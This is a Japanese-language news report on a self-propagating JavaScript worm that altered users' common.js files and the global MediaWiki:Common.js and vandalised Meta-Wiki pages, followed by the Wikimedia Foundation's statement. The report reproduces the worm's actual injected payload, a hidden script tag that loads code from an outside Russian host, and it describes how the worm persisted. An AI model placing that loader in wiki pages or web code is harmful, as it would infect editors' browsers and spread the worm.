
更新:以下にウィキメディア財団の声明を追加し、荒らされたのはメタウィキのみであったことを訂正しました。
自己増殖型のJavaScriptワームが利用者のスクリプトを改変し、メタウィキのページを荒らし始めたため、ウィキメディア財団は本日セキュリティ事故に見舞われました。
編集者はウィキペディアのビレッジポンプ(テクニカル)で最初にこの事件を報告し、利用者はランダムなページに隠されたスクリプトと破壊行為を追加する大量の自動編集に気づきました。
ウィキメディアのエンジニアは、この攻撃を調査し、変更を取り消し始める間、プロジェクト全体の編集を一時的に制限しました。
JavaScriptワーム
ウィキメディアのPhabricatorissue trackerによると、この事件はロシアのウィキペディアでホストされていた悪意のあるスクリプトが実行され、ウィキペディアのグローバルなJavaScriptスクリプトが悪意のあるコードで変更されたことから始まったようです。
悪意のあるスクリプトはUser:Ololoshka562/test.js[Archive]に保存されており、2024年3月に最初にアップロードされ、ウィキプロジェクトに対する過去の攻撃で使用されたスクリプトに関連しているとされています。
によって確認された編集履歴に基づき、このスクリプトは本日未明、ウィキメディア職員のアカウントによって、利用者スクリプトの機能をテストしている間に初めて実行されたと考えられています。このスクリプトが意図的に実行されたのか、テスト中に偶然読み込まれたのか、侵害されたアカウントによって引き起こされたのかは、現在のところわかっていません。
アーカイブされたtest.jsスクリプトを確認したところ、ログインしているユーザーのcommon.jsとウィキペディアのグローバルなMediaWiki:Common.jsの両方に悪意のあるJavaScriptローダーを注入することで自己増殖することがわかりました。
MediaWikiはMediaWiki:Common.jsやUser:<ユーザー名>/common.jsのようなグローバルなJavaScriptファイルとユーザー固有のJavaScriptファイルの両方を許可しており、これらはウィキのインターフェイスをカスタマイズするために編集者のブラウザで実行されます。
最初のtest.jsスクリプトがログインしたエディタのブラウザにロードされた後、そのエディタのセッションと権限を使用して2つのスクリプトを修正しようとしました:
- ユーザレベルの永続性:User:<ユーザ名>/common.jsを、そのユーザがログイン中にwikiを閲覧するたびに自動的にtest.jsスクリプトをロードするローダで上書きしようとしました。
- サイト全体の永続性:ユーザが正しい権限を持っている場合、グローバルスクリプトを使用するすべてのエディタに対して実行されるように、グローバルなMediaWiki:Common.jsスクリプトも編集します。

ソース :
グローバルスクリプトが正常に変更された場合、それをロードする誰もが自動的にローダーを実行し、次に以下に示すように、彼ら自身のcommon.jsを感染させることを含め、同じ手順を繰り返します。

出典 :Wikimedia:
このスクリプトには、Special:Randomウィキコマンドでランダムページをリクエストし、ページを編集して画像と以下の隠しJavaScriptローダーを挿入することで、ランダムページを編集する機能も含まれています。
[[File:Woodpecker10.jpg|5000px]] <span style="display:none"> [[#%3Cscript%3E$.getScript('//basemetrika.ru/s/e41')%3C/script%3E]] </span></span
‘sの分析によると、セキュリティインシデント中に約3,996ページが変更され、約85人のユーザーがcommon.jsファイルを置き換えられた。削除されたページの数は不明。

ソースは こちら:
ワームが拡散したため、エンジニアは悪意のある変更を元に戻し、注入されたスクリプトへの参照を削除する間、プロジェクト全体の編集を一時的に制限しました。
クリーンアップの間、ウィキメディア財団のスタッフはプラットフォーム全体の多数の利用者のcommon.jsもロールバックしました。これらの変更されたページは現在「抑制」され、変更履歴からは見えなくなりました。
執筆時点では、注入されたコードは削除され、編集は再び可能になっています。
しかし、ウィキメディアは、休止状態のスクリプトがどのように実行されたのか、あるいはワームが封じ込められるまでにどの程度広範囲に伝播したのかを正確に説明する詳細な事後報告をまだ発表していません。
更新 3/5/26 7:45 PM ET: ウィキメディア財団は、コードが有効だったのはわずか23分間で、その間にメタウィキのコンテンツを変更・削除しただけであり、その後復元されたとして、以下の声明を発表しました。
「本日未明、ウィキメディア財団の職員はウィキペディアの利用者作成コードのセキュリティ審査を行っていました。その審査中に、私たちは休眠状態のコードを活性化させ、それが悪意あるものであることがすぐに判明しました。予防措置として、悪意のあるコードを削除し、ウェブサイトが利用者の活動にとって安全であることを確認する間、ウィキペディアと他のウィキメディア・プロジェクトの編集を一時的に停止しました。この中断の背景にあったセキュリティ問題は、現在解決されています。
コードは23分間有効でした。その間にメタウィキのコンテンツを変更したり削除したりしましたが(これは現在復元されています)、永続的な損害を与えるものではありませんでした。ウィキペディアが攻撃を受けたという証拠も、この事件の一部として個人情報が漏洩したという証拠もありません。私たちはこの種の事件が再び起こるリスクを最小限にするため、さらなるセキュリティ対策を開発しています。最新情報は引き続き財団の公開インシデントログを通じて入手可能です。”
.ia_ad { background-color:#width: 95%; max-width: 800px; margin: 15px auto; border-radius: 8px; border:1px solid #d6ddee; display: flex; align-items: stretch; padding: 0; overflow: hidden; }:0; overflow: hidden; } .ia_lef { flex: 1; max-width: 200px; height: auto; display: flex; align-items: stretch; } .ia_lef a { display: flex; width: 100%; height: 100%; } .ia_lef a img { width: 100%; height: 100%; border-radius: 8px 0 0 8px; margin: 0; display: block; } .ia_rig { flex: 2; padding:display: flex; flex-direction: column; justify-content: center; } .ia_rig h2 { font-size: 17px !important; font-weight: 700; color:#line-height: 1.4; font-family:margin: 0 0 14px 0; } .ia_rig p { font-weight: bold; font-size: 14px; margin: 0 0 clamp(6px, 2vw, 14px) 0; } .ia_button { background-color:#border:1px solid #3b59aa; color: black; text-align: center; text-decoration: none; border-radius: 8px; display: inline-block; font-size: 16px; font-weight: bold; cursor: pointer; padding:width: fit-content; } .ia_button a { text-decoration: none; color: inherit; display: block; } @media (max-width: 600px) { .ia_ad { flex-direction: column; align-items: center; } .ia_lef { max-width: 100%; } .ia_lef a img { border-radius: 8px 8px 0 0; } .ia_rig { padding:15px;
width: 100%;
}
.ia_button {
width: 100%;
margin: 0px auto;
}
}




Comments